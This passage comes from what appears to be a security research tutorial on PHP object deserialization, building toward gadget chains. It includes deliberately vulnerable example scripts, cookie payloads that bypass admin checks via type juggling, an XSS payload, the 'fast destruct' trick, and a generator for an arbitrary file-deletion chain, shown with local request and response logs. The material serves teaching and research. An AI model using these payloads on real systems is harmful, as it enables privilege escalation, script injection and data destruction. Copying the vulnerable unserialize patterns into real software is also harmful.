<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
The user is a guest.
</code></pre></div>
<p>By alternating the value of <code>is_admin</code> within the serialized data, the attacker
can reach the different branches of the conditional tree. The objective is to
take advantage of code logic to reach a desired branch. Here we replace the type
of the attribute <code>is_admin</code> but also its value from <code>0</code> to <code>0e1</code> as we take advantage
of the <a href="https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf">loose comparison</a>
(<code>==</code> and not <code>===</code>).</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_17.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=O:4:"User":2:{s:8:"username"%3bs:4:"test"%3bs:8:"is_admin"%3bs:3:"Oe1"%3b}</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">35</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
The user is authenticated as test.
</code></pre></div>
<p>However, an attacker can also reach the branch intended for administrators using
this payload:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"User"</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"username"</span><span class="o">%</span><span class="mi">3</span><span class="n">bs</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"test"</span><span class="o">%</span><span class="mi">3</span><span class="n">bs</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"is_admin"</span><span class="o">%</span><span class="mi">3</span><span class="n">bi</span><span class="o">:</span><span class="mi">1</span><span class="o">%</span><span class="mi">3</span><span class="n">b</span><span class="o">}</span><span class="w"></span>
</code></pre></div>
<p>Or a branch not foreseen by the developers using:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"User"</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"username"</span><span class="o">%</span><span class="mi">3</span><span class="n">bs</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"test"</span><span class="o">%</span><span class="mi">3</span><span class="n">bs</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"is_admin"</span><span class="o">%</span><span class="mi">3</span><span class="n">bi</span><span class="o">:</span><span class="mi">1337</span><span class="o">%</span><span class="mi">3</span><span class="n">b</span><span class="o">}</span><span class="w"></span>
</code></pre></div>
<p>Now that we've seen how to take advantage of the script logic, let's take a look
at how to take advantage of magic methods.</p>
<h3>Taking advantage of magic methods</h3>
<p>This part is important to us as it's the one which is most closely related to the
search of generic gadget chain. As an attacker, we identify our entry point as a
call to the function <code>unserialize()</code> where we control its first argument via the
cookie header (<code>base64_decode($_COOKIE["user"])</code>). Once we've crafted our serialized
string, we'll need to encode it in base64 using the PHP function <code>base64_encode()</code>
before sending it to our fictional target. As already explained, the function
<code>__construct()</code> is not called during deserialization, consequently, we are only
interested in the following methods for the example below:</p>
<ul>
<li><code>__toString()</code></li>
<li><code>__destruct()</code></li>
<li><code>__wakeup()</code></li>
</ul>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_18.php"><span style="color:red">example_18.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">public</span> <span class="nv">$username</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$authenticated</span> <span class="o">=</span> <span class="k">False</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$logfile</span><span class="p">;</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$username</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">=</span> <span class="nv">$username</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span> <span class="o">=</span> <span class="s2">"/tmp/logs/user_"</span><span class="o">.</span> <span class="nb">md5</span><span class="p">(</span><span class="nb">random_bytes</span><span class="p">(</span><span class="mi">20</span><span class="p">));</span>
<span class="nv">$ufp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">);</span>
<span class="nv">$message</span> <span class="o">=</span> <span class="s2">"[*] User ("</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">.</span> <span class="s2">") created.</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="nb">fwrite</span><span class="p">(</span><span class="nv">$ufp</span><span class="p">,</span> <span class="nv">$message</span><span class="p">);</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$ufp</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">function</span> <span class="nf">check_authentication</span><span class="p">()</span>
<span class="p">{</span>
<span class="c1">// TODO</span>
<span class="p">}</span>
<span class="k">function</span> <span class="nf">get_authentication_status</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">authenticated</span><span class="p">)</span>
<span class="k">return</span> <span class="s2">"ok"</span><span class="p">;</span>
<span class="k">return</span> <span class="s2">"ko"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__wakeup</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$ufp</span> <span class="o">=</span> <span class="nb">fopen</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span><span class="p">,</span> <span class="s2">"a"</span><span class="p">);</span>
<span class="nv">$message</span> <span class="o">=</span> <span class="s2">"[*] User ("</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">username</span> <span class="o">.</span> <span class="s2">"), authentication status: "</span> <span class="o">.</span> <span class="nv">$this</span><span class="o">-></span><span class="na">get_authentication_status</span><span class="p">()</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="nb">fwrite</span><span class="p">(</span><span class="nv">$ufp</span><span class="p">,</span> <span class="nv">$message</span><span class="p">);</span>
<span class="nb">fclose</span><span class="p">(</span><span class="nv">$ufp</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__toString</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="na">username</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="nb">unlink</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"user"</span><span class="p">]));</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$u</span> <span class="o">==</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s2">"test_0"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"Hello "</span> <span class="o">.</span> <span class="nv">$u</span><span class="p">;</span>
<span class="nb">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>By referring to the description of the magic methods and their examples, you'll
see that the above code can be used to exploit the following vulnerabilities:</p>
<ul>
<li>Reflected self XSS via user cookies</li>
<li>Arbitrary file deletion</li>
<li>Partial arbitrary file write to remote code execution</li>
</ul>
<h4>Reflected self XSS via user cookies</h4>
<p>When executing the following line of code:</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">echo "Hello " . $u;</span>
<span class="x">...</span>
</code></pre></div>
<p>The function <code>__toString()</code> is called and consequently reflects in the server
response the attribute <code>username</code> from class <code>User</code>, controlled by the attacker
via the deserialization.</p>
<p>Let's take the following payload:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"User"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"username"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"test"</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<p>Encode it to base64:</p>
<div class="highlight"><pre><span></span><code>Tzo0OiJVc2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO30=
</code></pre></div>
<p>And use it within our cookies.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_18.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=Tzo0OiJVc2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO30=</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">1070</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
...
Hello test
...
</code></pre></div>
<p>Now, if we update our payload to include an XSS trigger, it looks like this:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"User"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">8</span><span class="o">:</span><span class="s2">"username"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="s2">"<img/src=x onerror=alert(1)>"</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<p>Encode it to base64:</p>
<div class="highlight"><pre><span></span><code>Tzo0OiJVc2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjI4OiI8aW1nL3NyYz14IG9uZXJyb3I9YWxlcnQoMSk+Ijt9
</code></pre></div>
<p>Reinsert it into our cookies.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_18.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">user=Tzo0OiJVc2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjI4OiI8aW1nL3NyYz14IG9uZXJyb3I9YWxlcnQoMSk+Ijt9</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">1094</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
...
Hello <span class="p"><</span><span class="nt">img</span><span class="err">/</span><span class="na">src</span><span class="o">=</span><span class="s">x</span> <span class="na">onerror</span><span class="o">=</span><span class="s">alert(1)</span><span class="p">><</span><span class="nt">br</span> <span class="p">/></span>
...
</code></pre></div>
<p>The problem with gadget chains linked to function <code>__toString</code> is that we have no
control over when the function is called, because, the object must be converted
or used as a string. At least that's what we thought before discovering the trick
we'll present later.</p>
<h4>Arbitrary file deletion</h4>
<p>As seen above, the function <code>User::__destruct()</code> is called at the end of the script.
In some cases, such as creating a gadget chain, we don't want the remaining code
of the script to alter the newly instantiated object, so we want to trigger the
execution of function <code>__destruct()</code> during the deserialization just after the
object creation. To achieve this, we will use the fast destruct technique evoked
earlier.</p>
<p>The function <code>__destruct()</code> is triggered when there is no longer any reference to
the related object. However, it is possible to delete all references to this object
during the deserialization process and we'll see how. Let's deviate a little from
the current example and let's have a look at the one below.</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_19.php"><span style="color:red">example_19.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">Junk</span>
<span class="p">{</span>
<span class="k">public</span> <span class="nv">$value</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$value</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">value</span> <span class="o">=</span> <span class="nv">$value</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="fm">__destruct</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">echo</span> <span class="s2">"Hello from function __destruct(), value = </span><span class="si">$this->value</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="nb">unserialize</span><span class="p">(</span><span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">"junk"</span><span class="p">]));</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$u</span> <span class="o">==</span> <span class="k">false</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Junk</span><span class="p">(</span><span class="mi">1338</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"Coucou, I appear after the first sleep</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="nb">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>
<span class="k">echo</span> <span class="s2">"Coucou, I appear after the second sleep</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>Let's execute the script in the simplest possible way.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_19.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">126</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Coucou, I appear after the first sleep
Coucou, I appear after the second sleep
Hello from function __destruct(), value = 1338
</code></pre></div>
<p>Now let's take advantage of the possibility of controlling the first parameter of
the function <code>unserialize()</code> to instantiate a <code>Junk</code> object and set its attribute
<code>value</code> to <code>1339</code>.</p>
<p>Let's take the following payload:</p>
<div class="highlight"><pre><span></span><code><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"Junk"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">5</span><span class="o">:</span><span class="s2">"value"</span><span class="o">;</span><span class="n">i</span><span class="o">:</span><span class="mi">1339</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<p>Encode it to base64:</p>
<div class="highlight"><pre><span></span><code>Tzo0OiJKdW5rIjoxOntzOjU6InZhbHVlIjtpOjEzMzk7fQ==
</code></pre></div>
<p>Use it.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_19.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">junk=Tzo0OiJKdW5rIjoxOntzOjU6InZhbHVlIjtpOjEzMzk7fQ==</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">126</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Coucou, I appear after the first sleep
Coucou, I appear after the second sleep
Hello from function __destruct(), value = 1339
</code></pre></div>
<p>So now, instead of serializing the <code>Junk</code> object directly, let's place it in the
first position of a two-elements array which once serialized, gives us the following
payload:</p>
<div class="highlight"><pre><span></span><code><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">i</span><span class="o">:</span><span class="mi">0</span><span class="o">;</span><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"Junk"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">5</span><span class="o">:</span><span class="s2">"value"</span><span class="o">;</span><span class="n">i</span><span class="o">:</span><span class="mi">1339</span><span class="o">;}</span><span class="n">i</span><span class="o">:</span><span class="mi">1</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="s2">"useless string"</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<p>During deserialization, the PHP interpreter will first creates an <code>array</code> of 2
elements (<code>a:2:</code>), continue the deserialization process to instantiate our <code>Junk</code>
object as the first element of the array (<code>i:0;O:4:"Junk":1:</code>), and then instantiate
a string as the second element (<code>i:1;s:14:</code>). Now what happens? If you replace:</p>
<div class="highlight"><pre><span></span><code><span class="o">...</span><span class="w"> </span><span class="nt">i</span><span class="p">:</span><span class="nd">1</span><span class="o">;</span><span class="nt">s</span><span class="p">:</span><span class="nd">14</span><span class="o">:</span><span class="w"> </span><span class="o">...</span><span class="w"></span>
</code></pre></div>
<p>By:</p>
<div class="highlight"><pre><span></span><code><span class="o">...</span><span class="w"> </span><span class="nt">i</span><span class="p">:</span><span class="nd">0</span><span class="o">;</span><span class="nt">s</span><span class="p">:</span><span class="nd">14</span><span class="o">:</span><span class="w"> </span><span class="o">...</span><span class="w"></span>
</code></pre></div>
<p>During deserialization, the PHP interpreter will first create an <code>array</code> of 2
elements (<code>a:2:</code>), continue the deserialization process to instantiate our <code>Junk</code>
object as the first element of the array (<code>i:0;O:4:"Junk":1:</code>), and then instantiate
a string as the first element (<code>i:0;s:14:</code>) because <code>i</code> is defined as <code>0</code>. The
array of size two now contains a string as its first element and <code>NULL</code> as its
second element. As a result, there is no longer any reference to our instantiated
<code>Junk</code> object, which, as we have seen, triggers function <code>__destruct()</code>.</p>
<p>Let's take the following payload:</p>
<div class="highlight"><pre><span></span><code><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="o">:{</span><span class="n">i</span><span class="o">:</span><span class="mi">0</span><span class="o">;</span><span class="n">O</span><span class="o">:</span><span class="mi">4</span><span class="o">:</span><span class="s2">"Junk"</span><span class="o">:</span><span class="mi">1</span><span class="o">:{</span><span class="n">s</span><span class="o">:</span><span class="mi">5</span><span class="o">:</span><span class="s2">"value"</span><span class="o">;</span><span class="n">i</span><span class="o">:</span><span class="mi">1339</span><span class="o">;}</span><span class="n">i</span><span class="o">:</span><span class="mi">0</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="s2">"useless string"</span><span class="o">;}</span><span class="w"></span>
</code></pre></div>
<p>Encode it to base64:</p>
<div class="highlight"><pre><span></span><code>YToyOntpOjA7Tzo0OiJKdW5rIjoxOntzOjU6InZhbHVlIjtpOjEzMzk7fWk6MDtzOjE0OiJ1c2VsZXNzIHN0cmluZyI7fQ==
</code></pre></div>
<p>Use it.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_19.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
<span class="na">Cookie</span><span class="o">:</span> <span class="l">junk=YToyOntpOjA7Tzo0OiJKdW5rIjoxOntzOjU6InZhbHVlIjtpOjEzMzk7fWk6MDtzOjE0OiJ1c2VsZXNzIHN0cmluZyI7fQ==</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">X-Powered-By</span><span class="o">:</span> <span class="l">PHP/7.4.2</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">126</span>
<span class="na">Content-Type</span><span class="o">:</span> <span class="l">text/html; charset=UTF-8</span>
Hello from function __destruct(), value = 1339
Coucou, I appear after the first sleep
Coucou, I appear after the second sleep
</code></pre></div>
<p>This fast destruct mechanism is the reason why most gadget chains start with a call
to an object's <code>__destruct()</code> method. Controlling when a function is executed
is essential to prevent the rest of a PHP script from modifying the object we've
managed to instantiate thanks to deserialization. We can now return to the previous
example (<a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_18.php"><span style="color:red">example_18.php</span></a>).</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/example_18.php"><span style="color:red">example_18.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">class User</span>
<span class="x">{</span>
<span class="x"> ...</span>
<span class="x"> function __destruct()</span>
<span class="x"> {</span>
<span class="x"> unlink($this->logfile);</span>
<span class="x"> }</span>
<span class="x">}</span>
<span class="x">...</span>
</code></pre></div>
<blockquote>
<p><code>unlink(string $filename, ?resource $context = null): bool</code></p>
<p>Deletes <code>filename</code>. Similar to the Unix C <code>unlink()</code> function.
An <code>E_WARNING</code> level error will be generated on failure.</p>
</blockquote>
<p>By controlling the attribute <code>logfile</code> of the class <code>User</code>, we can delete an arbitrary
file on the filesystem (as long as the PHP process have sufficient rights). With
all the information we've seen so far, we're able to put together a first gadget
chain:</p>
<p>File: <a href="resources/2024-02-06_laravel-gadget-chain/Examples/gen_0.php"><span style="color:red">gen_0.php</span></a></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">User</span>
<span class="p">{</span>
<span class="k">protected</span> <span class="nv">$logfile</span><span class="p">;</span>
<span class="k">function</span> <span class="fm">__construct</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">logfile</span> <span class="o">=</span> <span class="s2">"/var/www/html/dummy_file"</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$u</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">();</span>
<span class="nv">$a</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="mi">0</span><span class="o">=></span><span class="nv">$u</span><span class="p">,</span> <span class="s2">"useless string"</span><span class="p">);</span>
<span class="nv">$so</span> <span class="o">=</span> <span class="nb">serialize</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
<span class="nv">$so</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'i:1;s:14:"useless string";'</span><span class="p">,</span> <span class="s1">'i:0;s:14:"useless string";'</span><span class="p">,</span> <span class="nv">$so</span><span class="p">);</span> <span class="c1"># Using the fast destruct technique</span>
<span class="nv">$bso</span> <span class="o">=</span> <span class="nb">base64_encode</span><span class="p">(</span><span class="nv">$so</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$bso</span> <span class="o">.</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">;</span>
<span class="cp">?></span><span class="x"></span>
</code></pre></div>
<p>Once executed, the above script gives us the following result:</p>
<div class="highlight"><pre><span></span><code>YToyOntpOjA7Tzo0OiJVc2VyIjoxOntzOjEwOiIAKgBsb2dmaWxlIjtzOjI0OiIvdmFyL3d3dy9odG1sL2R1bW15X2ZpbGUiO31pOjA7czoxNDoidXNlbGVzcyBzdHJpbmciO30=
</code></pre></div>
<p>It is always preferable to be able to encode our gadgets chain in base64 because
objects's properties and methods can have access modifiers which control from where
they can be accessed (<code>public</code>, <code>protected</code>, <code>private</code>). During serialization,
these access modifiers affect the format of the serialized data and adds null
bytes to our serialized string.</p>
<div class="highlight"><pre><span></span><code>$ <span class="nb">echo</span> -ne <span class="s2">"YToyOn...JpbmciO30="</span><span class="p">|</span>base64 -d<span class="p">|</span>hexdump -C
<span class="m">00000000</span> <span class="m">61</span> 3a <span class="m">32</span> 3a 7b <span class="m">69</span> 3a <span class="m">30</span> 3b 4f 3a <span class="m">34</span> 3a <span class="m">22</span> <span class="m">55</span> <span class="m">73</span> <span class="p">|</span>a:2:<span class="o">{</span>i:0<span class="p">;</span>O:4:<span class="s2">"Us|</span>
<span class="s2">00000010 65 72 22 3a 31 3a 7b 73 3a 31 30 3a 22 00 2a 00 |er"</span>:1:<span class="o">{</span>s:10:<span class="s2">".*.|</span>
<span class="s2">00000020 6c 6f 67 66 69 6c 65 22 3b 73 3a 32 34 3a 22 2f |logfile"</span><span class="p">;</span>s:24:<span class="s2">"/|</span>
<span class="s2">00000030 76 61 72 2f 77 77 77 2f 68 74 6d 6c 2f 64 75 6d |var/www/html/dum|</span>
<span class="s2">00000040 6d 79 5f 66 69 6c 65 22 3b 7d 69 3a 30 3b 73 3a |my_file"</span><span class="p">;</span><span class="o">}</span>i:0<span class="p">;</span>s:<span class="p">|</span>
<span class="m">00000050</span> <span class="m">31</span> <span class="m">34</span> 3a <span class="m">22</span> <span class="m">75</span> <span class="m">73</span> <span class="m">65</span> 6c <span class="m">65</span> <span class="m">73</span> <span class="m">73</span> <span class="m">20</span> <span class="m">73</span> <span class="m">74</span> <span class="m">72</span> <span class="m">69</span> <span class="p">|</span><span class="m">14</span>:<span class="s2">"useless stri|</span>
<span class="s2">00000060 6e 67 22 3b 7d |ng"</span><span class="p">;</span><span class="o">}</span><span class="p">|</span>
<span class="m">00000065</span>
</code></pre></div>
<p>From PHP 5 to 7, it was necessary to take this into consideration when building
gadget chain:</p>
<blockquote>
Consider the following class:
<pre><code>
class Test {
public $public = 1;
protected $protected = 2;
private $private = 3;
}
</code></pre>
This is serialized as follows:
<pre><code>
v-- strlen("Test") v-- property v-- value
O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}
^-- property ^-- value ^-- property ^-- value
</code></pre>
</blockquote>
<blockquote>
<p>The <code>\0</code> in the above serialization string are NULL bytes. As you can see private
and protected members are serialized with rather peculiar names: Private properties
are prefixed with <code>\0ClassName\0</code> and protected properties with <code>\0*\0</code>.</p>
</blockquote>
<p>From a practical point of view, with recent PHP versions (since PHP 8), it is no
longer necessary to specify access modifiers during gadget chain creation, and it
is therefore possible to avoid this problem. However, you should always bear in
mind that older versions of PHP will still have this problem (especially when
you're in a "black box" type of engagement and can't fingerprint your target PHP version), which is why
it's mandatory to define access modifiers when adding a gadget chain to <a href="https://github.com/ambionics/phpggc">PHPGGC</a>.</p>
<p>Let's check that the file <span style="color:red">dummy_file</span> exists.</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/dummy_file</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
</code></pre></div>
<p><ins>Response (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Length</span><span class="o">:</span> <span class="l">60</span>
<html>
<body>
<p>Coucou</p>
</body>
</html>
</code></pre></div>
<p>Then use our chain gadget to delete it:</p>
<p><ins>Request (HTTP):</ins></p>
<div class="highlight"><pre><span></span><code><span class="nf">GET</span> <span class="nn">/example_18.php</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1:58080</span>
